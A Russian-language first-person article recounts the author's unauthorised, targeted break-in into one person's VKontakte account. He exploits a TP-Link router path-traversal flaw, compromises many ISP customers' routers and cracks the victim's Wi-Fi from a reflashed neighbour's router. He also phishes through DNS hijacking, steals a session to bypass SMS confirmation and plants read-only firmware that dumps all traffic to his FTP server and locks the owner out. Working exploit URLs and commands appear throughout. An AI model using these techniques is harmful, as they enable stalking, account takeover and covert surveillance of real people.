На самом деле речь в данной статье пойдет не только об уязвимостях в роутерах TP-LINK, но и о том, как можно удаленно сделать из таких роутеров хак-станцию и чего можно при помощи этого достичь. А так же немного о том, как это было применено для получения доступа к странице ВКонтакте. Это своего рода история одного большого взлома, которая включает в себя все выше перечисленное.

Понадобилось мне однажды получить доступ к странице ВК одного человека, при том как можно более незаметно для пользователя, и я стал искать способы. Первое, что пришло в голову, скинуть жертве троян, ведь у меня еще давно был заготовлен собственноручно собранный скрытый TightVNC с backconnect’ом на мой IP + скрытый VLC player, который транслирует звук с микрофона в реальном времени так же на мой IP. При том он вообще не определялся как вредоносное ПО на VirusTotal. Но статья вовсе не об этом. Троян мне в итоге впарить удалось, как и заполучить доступ в ВК (просто скопировав cookies из браузера жертвы), но вскоре на компьютере юзверя была переустановлена ОС, и мне пришлось искать другой путь.

Единственное, что я знал — это то, какой у жертвы провайдер. Ну что же, начал я с того, что просканировал весь диапазон этого небезызвестного провайдера города N (по понятным причинам провайдера я называть не стану), и обнаружил чудесную вещь: на большинстве хостов открыт порт 8080. Сразу стало понятно, что это web-интерфейс роутера. Я уже было понадеялся на дефолтные admin admin (тогда бы это был полный крах для провайдера), но нет, пароль я подобрать так и не смог, хотя все же нашел с десяток роутеров, где стоял дефолтный пароль. Оказалось, что 90% всех роутеров составляют TP-Link TL-WR741ND и реже 740N, 841N, 941ND.



Тут все предельно ясно: провайдер дает в аренду пользователям одинаковые роутеры, настраивает им их при установке, а менять эти настройки юзверям просто лень. Становилось все интереснее и интереснее. Наверняка в таком случае должна быть какая-то закономерность в настройке, то есть пароли наверняка однотипные. Я решил погуглить, а нет ли в этих моделях каких-нибудь уязвимостей и, к моему удивлению на тот момент, я нашел их немало. Первое, что бросилось в глаза — это статья «Бэкдор в роутерах TP-LINK».

Я тут же решил проверить данную уязвимость. Файлы закачивались в роутер, но он их не принимал, и тут я стал думать, а что вообще из себя представляет этот nart.out. Это бинарник под MIPS, который по сути может быть любым приложением, нужно только собрать его. Для начала я стал искать готовый вариант, т. к. раньше практически никогда не имел дело с кросс-компиляцией. К моему удивлению как раз в этот момент данным вопросом интересовался еще один человек: Specx2 (рекомендую, кстати говоря, к прочтению его статью о том, как собрать хак станцию из роутера, что, собственно я в итоге и сделал, только удаленно). Ему удалось на одном из китайских форумов найти netcat, скомпилированный под MIPS, кстати, как раз в том разделе, где обсуждалась данная уязвимость. Этот бинарник успешно запускался под QEMU, успешно заливался в роутер через найденный backdoor, но, почему-то, к роутеру подключиться не удавалось: просто не было коннекта и все. Товарищ Specx2 предположил, что дело может быть в том, что порт 2222 может быть просто закрыт, и нужно как-то заставить netcat запускаться на другом порту.

Мы попытались сами скомпилировать netcat под MIPS, но задать опцию дефолтного порта так и не смогли. Далее мы использовали дизассемблер, но так же безуспешно. И тут я решил открыть этот бинарник обычным Notepad++, и, к своему удивлению нашел там заветные 2222. Это число можно было без проблем менять на любое другое, главное — чтобы количество символов в файле не изменилось. Порт действительно менялся, все было протестировано на QEMU, только вот заставить его заработать на роутере нам так и не удалось.

Я не оставил своих попыток заполучить контроль над роутером и стал искать другие уязвимости. Вскоре я наткнулся на этот пост. И действительно: на 841 и 941 моделях присутствовал шелл по адресу

/userRpmNatDebugRpm26525557/linux_cmdline.html

Только вот пароль от роутера все равно нужно было знать, да и у пользователей данного провайдера в основном были 741 модели. Мне удалось найти роутер с дефолтным паролем и данным шеллом, хоть и очень урезанным. Таким образом я получил доступ к файловой системе роутера. Ничего ценного, к сожалению, мне найти не удалось, да и шелл работал не совсем корректно. Неужели и в правду разработчики через него делают отладку?

Казалось, что это тупик, долгое время у меня не было ни одной зацепки, но что-то подсказывало мне, что уязвимости все же есть. И тут я выяснил, что роутер не фильтрует GET запросы. То есть по умолчанию при неверно введенном пароле открывается страница /help, но если мы, к примеру, сделаем такой запрос:

GET IP:port/help/../../

То мы попадем в корень файловой системы роутера. Таким образом мы можем скачать практически любой файл из ФС роутера даже не зная пароля. Это оказалась первая успешно работающая уязвимость из всех найденных мной. Но что она нам дает, если мы можем только скачивать файлы и при этом не знаем, где хранится пароль?

После недолгих поисков мне все же удалось найти интересный файл по адресу /tmp/ath0.ap_bss, в котором хранится пароль от Wi-Fi в открытом виде. Я тут же решил проверить это на одном из роутеров пользователей данного провайдера.

GET IP:8080/help/../../tmp/ath0.ap_bss

Как оказалось, люди там работают довольно ленивые, и ставят одинаковые пароли на web-интерфейс роутера и Wi-Fi, так что, узнав пароль от Wi-Fi при помощи данной уязвимости, мы автоматически узнаем и пароль от web-интерфейса. Как правило, это 8 цифр. Реже — цифры с буквами. Опять же 8. С этого момента я мог получить доступ к роутеру почти любого юзверя, который не сменил пароль, установленный провайдером, а не менял его практически никто. Правда, на некоторых роутерах все же стояла последняя версия прошивки, и данная уязвимость не работала, но таких было не так уж и много. Тут же я узнал и еще один интересный момент. SSID всех точек содержали вторую половину внутреннего IP-адреса пользователя, а первая была у всех одинаковой. Оказалось так же, что и в личном кабинете на сайте пароль был таким же. И эта вторая половина внутреннего IP являлась номером договора. То есть по номеру договора пользователя можно было вычислить внутренний IP.

Несмотря на то, что все юзвери имели реальный внешний IP (хоть и динамический), я решил поднять на нескольких из ASUS’овских роутерах, где был дефолтный пароль, VPN-сервер. Благо такая возможность была вшита в прошивку по умолчанию. Таким образом у меня появился доступ во внутреннюю сеть провайдера.

Но до взлома ВК было еще далеко. Я даже не знал IP жертвы. Ни внешнего, ни внутреннего. Существует множество способов узнать внешний IP, и я это сделал. Что же, начнем изучать. Во-первых, он отвечал на ping-запросы, что уже хорошо. Во-вторых, я знал, что у жертвы тоже стоит роутер (это так же можно понять по TTL, т. к. у подавляющего большинства пользователей установлена ОС Windows, а TTL винды по умолчанию 128), при том наверняка той же модели. Но, к моему глубокому сожалению, все порты у жертвы оказались закрыты, и доступа к вебморде извне не было. Но я знал, что он в любом случае есть через LAN, но для этого нам необходимо подключиться к этому роутеру через беспроводной интерфейс, а так же подобрать пароль от админки, что было бы очень проблематично, ведь я так и не смог на тот момент найти, где он хранится. Хотя сейчас мне уже известно, что он хранится в /dev/mtdblock3, но этот блок не монтируется, поэтому прочитать его через описанную уязвимость невозможно.

Так же я узнал, что логином от VPN подключения для доступа в интернет являются инициалы и фамилия юзверя или ее часть, а пароль все тот же. Я стал думать, как же мне найти нужного мне пользователя? Может я все-таки ошибся в тот раз с определением IP, и он уже успел поменяться, пока я попытался законнектиться к вебморде? Первое, что пришло в голову — это простой перебор всех роутеров. Но количество абонентов у провайдера довольно большое. Просканировав весь диапазон, я обнаружил порядка 3000 роутеров с удаленным доступом к web-интерфейсу. И нужно было как-то найти среди них нужный, если он вообще там есть.

Сначала я пытался написать скрипт, который бы при помощи найденной уязвимости узнавал пароль, а далее скачивал бы страничку настройки сети и сохранял ее. Но в этом я слаб, и, отбросив через некоторое время эту идею, я решил использовать обычный кликер. С горем пополам я (вернее кликер) обработал весь диапазон. Далее я сделал поиск по файлам с настройками (надеясь найти жертву по фамилии в логине от vpn-соединения), но ничего нужного мне я так и не нашел.

Я стал копать дальше и обнаружил, что любым взломанным роутером можно через web-интерфейс просканировать окружающие его точки доступа. Таким образом, у меня появилась безумная идея: взломать соседа жертвы этой уязвимостью, чтобы затем его роутером попытаться взломать пароль от Wi-Fi жертвы и зайти в web-интерфейс уже через LAN, т. к. проделывать путь в пару тысяч километров без уверенности в успехе было неразумным, да и просто возможности не было. Но и осуществить задуманное на тот момент казалось немыслимым. Как отыскать соседа?

Вспомним, что вторая часть внутреннего IP содержится в SSID. Она же совпадает с номером договора. Было бы неплохо узнать SSID точки доступа пользователя, чтобы можно было ее найти. Что я сделал? Да просто взял и написал в техподдержку провайдера, представившись пользователем, якобы я хочу оплатить инет, но забыл номер договора. И мгновенно получил ответ, благо я знал ФИО и адрес. Таким образом я узнал внутренний IP жертвы, который кстати является статическим (так что нет смысла постоянно вычислять динамический внешний, т. к. есть доступ во внутреннюю сеть через VPN на одном из взломанных роутеров). Так же у меня появился предположительный SSID данного пользователя, так что у меня уже было, с чем работать.

Задача заключалась в том, чтобы заходить во все подряд роутеры и одним из них обнаружить в округе роутер с заветным SSID. Задача опять же была не из легких, но вспомним, что у нас есть доступ в личный кабинет, где указывается адрес проживания пользователя. Проведя несколько экспериментов, я понял, что есть некая закономерность между внутренним IP и адресом пользователя. То есть не обязательно, что соседи будут в одной подсети, но как минимум в соседних, к примеру: 10.168.155.0 и 10.168.158.0. Так что, найдя методом научного тыка пользователя, проживающего недалеко от жертвы, я стал перебирать все роутеры в соседних подсетях. В итоге, заветного SSID я не нашел, но я нашел 2-х соседей, увидев их адрес в личном кабинете. У меня голова взрывалась: как же так, соседей нашел, но нужной точки доступа рядом нет. Все же она была, просто с измененным SSID, и я угадал, каким. Это оказалось несложно.

Отлично! Роутер нашли, как и соседей, потратив, правда, на это очень много времени. Что же дальше? Нужно как-то получить пароль от беспроводной сети, но для этого нам нужно либо перехватить handshake и подобрать по нему пароль (защита там WPA2-PSK), либо подобрать WPS PIN, т. к. по дефолту WPS включен, но на большинстве роутеров он блокируется после 10 неверных попыток. Как нам вообще осуществить хотя бы что-то из этого? Ведь на роутерах соседей нет специализированного софта. И тут пришла мысль перепрошить их роутеры OpenWRT, ведь эта прошивка больше всех приближена к настоящему линуксу, а так же под нее есть пакеты aircrack-ng, reaver и многие другие. Товарищ Specx2 даже Bully под него собрал. Оставалась только одна проблема: как перепрошить роутер удаленно и не потерять доступ к нему? Ведь после перепрошивки все настройки сбрасываются в дефолт.

Я долго мучился с этим вопросом, считал, что нужно собирать всю прошивку с нуля из исходников и каким-то образом предварительно вбить туда настройки, но все оказалось гораздо проще. Я даже не знал о существовании OpenWRT Image Builder. С ним я разобрался довольно быстро, однако нужно было правильно подобрать набор пакетов, т. к. объем прошивки не может превышать 4MB, а это мало, учитывая то, что многие тянут за собой нехилый список зависимостей. Следующая проблема заключалась в том, что доступ в инет юзверь получает только после установки VPN соединения с сервером провайдера, но тогда весь трафик уходил в туннель, и я терял связь с роутером. Так что, да простит меня сосед, оставил я его без инета. Успешно прошив его роутер (предварительно оставив еще пару десятков пользователей без инета в ходе неудачных экспериментов), я сразу же перевел сетевую карту роутера в monitor mode

ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0

И запустил airodump-ng.

airodump-ng mon0 –c номер_канала –bssid MAC_роутера_жертвы –w /tmp/123

Перехватить handshake труда не составило. Я тут же скачал дамп с роутера при помощи SCP

scp –P port user@host:/tmp/123-01.cap ~/123.cap

Отфильтровал его от лишних пакетов в Wireshark:

wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol

И конвертировал в формат .hccap для Hashcat. Я заранее подготовил небольшой словарик, который помог мне взломать немало беспроводних сетей, а так же я добавил туда все возможные пароли, которые могли бы быть использованы данным пользователем.

oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt

К счастью, уже через пару секунд пароль был найден! Но ведь нужно было еще как-то законнектиться к роутеру в режиме клиента! Только тогда WAN для роутера соседа опять же изменится, и я потеряю доступ к нему. Я так и не смог придумать, как решить эту проблему, поэтому пришлось попросить человека прийти к жертве, законнектиться с телефона и открыть удаленный доступ (сейчас могу предположить, что нужно было просто заранее добавить статические маршруты в прошивку). Благо пароль от web-интерфейса оказался дефолтным admin admin.

Все прошло успешно! У меня уже был подготовлен дальнейший план действий. На своем real IP без фильтрации я поднял DNS-сервер, где изменил запись для vk.com и поменял ее на свой IP, где так же был поднят HTTP сервер с PHP. Туда, соответственно, был залит fake страницы авторизации vk.com, а в роутере DNS-сервер был изменен на мой. Пользователь, зайдя на vk.com, попал на мой fake, и, таким образом, пароль оказался у меня, цель достигнута!

Долгое время я использовал этот способ, чтобы получить пароль, но однажды было включено хваленое подтверждение входа на vk.com, которое, как утверждают сами создатели, обойти практически невозможно. Суть заключается в том, что при авторизации с нового устройства/браузера в случае ввода верного пароля необходимо также дополнительно ввести код из смс, которое отправляется на номер владельца. Но на этот случай у меня уже давно была подготовлена теория, которая пока не проверялась.

Первым делом я попытался понять, каким именно образом сервер определяет, что вход производится с нового устройства. Все оказалось довольно просто: в браузер добавляется новый Cookie (если мне не изменяет память, то называется remixttpid), который передается только через шифрованное соединение. И по нему уже сервер определяет браузер, с которого разрешен вход. Если не ошибаюсь, User-Agent тоже должен совпадать. Таким образом, нам достаточно перехватить этот cookie, чтобы успешно залогиниться с известным паролем, но это сделать довольно сложно: нужно пропускать трафик пользователя через mitmproxy, да так, чтобы он еще и залогинился в этот момент. К тому же пользователь заметит предупреждение браузера о несовпадении сертификата. Зачем так извращаться, подумал я, если можно просто перехватить уже существующую сессию? Ведь проверка браузера производится только в момент логина, но не производится при любых запросах с уже существующей сессии! Следовательно, нам всего-то нужно перехватить remixsid, который, к тому же, передается через незащищенное соединение, т. к. юзверь не использует https.

Проблема заключалась только в том, что remixsid вяжется к IP пользователя, а если он меняется, то используются и cookies для login.vk.com, которые передаются только через шифрованное соединение, и перехватить их сложнее. Но мне повезло. К тому времени провайдер стал предоставлять доступ в инет без необходимости установки VPN соединения, а значит я мог просто поднять свой PPTP-сервер и в настройках роутера юзверя настроить к нему подключение. Так я и сделал, весь трафик пошел через меня, и юзверь, сам того не зная, создал сессию, привязанную к моему IP, которая была без проблем перехвачена. Далее я просто вернул прежние настройки и пользуюсь перехваченной сессией (благо IP у меня статический). SMS-защита успешно сломана!

Все бы ничего, но и на этом я не остановился. Дело в том, что если пользователь вдруг поймет, в чем дело, он просто может поменять пароль от настроек роутера и от Wi-Fi. Чтобы это предотвратить, я занялся сборкой OpenWRT под роутер юзверя. Нужно было все предусмотреть. Для удобного мониторинга трафика жертвы я смонтировал FTP-сервер как файловую систему при помощи curlftpfs. Туда пишутся дампы. Весь этот процесс описан в данной статье. Изначально я планировал смонтировать облако как файловую систему, для чего использовал davfs2, который тоже было непросто собрать под OpenWRT, но проблема заключалась в том, что файл записывался сначала в кэш, а только потом заливался в облако. Следовательно размер файла ограничивался размером кэша, который чрезвычайно мал. Поэтому я выбрал curlftpfs. Трафик записывался при помощи tcpdump и разбивался на файлы по 512МБ.

tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &

Где /root/ftp/dump — это наша файловая система на ftp. Все это дело можно поместить в автозапуск (/etc/rc.local).
Вообще итоговый набор пакетов для прошивки OpenWRT Attitude Adjustment 12.09 выглядел таким образом:

make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/

Curlftpfs занимает большую часть памяти, но дает нам ее неограниченное количество на ftp. Tcpdump дает возможность круглосуточно записывать трафик жертвы, а tinyproxy — выходить в инет с IP жертвы, то есть, перехватив remixsid к примеру, мы можем так же зайти в ВК пользователя с его же IP при помощи tinyproxy, либо можем просто перенаправить его трафик на свой прокси таким образом:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port

В общем, можем полностью рулить трафиком. Так же можно устанавливать пакеты на смонтированную ftp файловую систему, для этого используем opkg –dest, предварительно указав название и адрес для нашей файловой системы в /etc/opkg.conf. Вся остальная конфигурация так же должна быть заранее прописана в соответствующих файлах.

/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
и др.

Все эти файлы должны быть заранее подготовлены, чтобы вшить их в прошивку. Собственно, что нам это дает помимо дополнительных возможностей? А дело в том, что файловая система squashfs является read-only. Соответственно юзверь никаким образом не сможет изменить заданные мной настройки по умолчанию. При всем желании он даже через telnet не сможет подключиться, т. к. в rc.local, который вшит в прошивку, есть строчка

echo –e “pass\npass” | passwd root

То есть доступ через telnet рубится сразу же после загрузки роутера, а пароль от SSH есть только у меня. Сброс в дефолт физической кнопкой тут так же не получится, т. к. дефолт задан мной и вшит в прошивку. Цель достигнута.

В связи с переводом всех пользователей на IPoE в недавнее время и отказом от VPN, все они оказались за NAT’ом, включая роутеры, на которых мною был поднят VPN для доступа во внутреннюю сеть провайдера. Кроме тех, кто подключил себе услугу «Статический IP», разумеется. Но и тут проблема: те, кто хочет реальный IP, должны все еще использовать VPN для доступа в интернет. Пришлось мне помучиться и собрать OpenWRT с вшитым и настроенным PPTP-клиентом (а работает он почему-то действительно криво), а так же вшитым и настроенным OpenVPN сервером. Немало роутеров погибло в ходе экспериментов, но результат в итоге был достигнут. Залив на несколько роутеров (из немногих оставшихся с real IP) такую прошивку, я имею стабильный доступ во внутреннюю сеть при помощи OpenVPN.

Проблема с подключением PPTP VPN заключалась в том, что сервера провайдера не поддерживают шифрование. Это удалось пофиксить добавлением строчки в /etc/ppp/options.pptp.

nomppe

В остальном процесс настройки PPTP VPN клиента и OpenVPN сервера ничем не отличался от мануалов по OpenWRT.

Надеюсь, данная статья будет кому-то интересна, и кто-нибудь узнает из нее для себя что-то новое.

UPD: Как написал в комментах ValdikSS, вместо curlftpfs+tinyproxy можно использовать OpenSSH, который более функционален.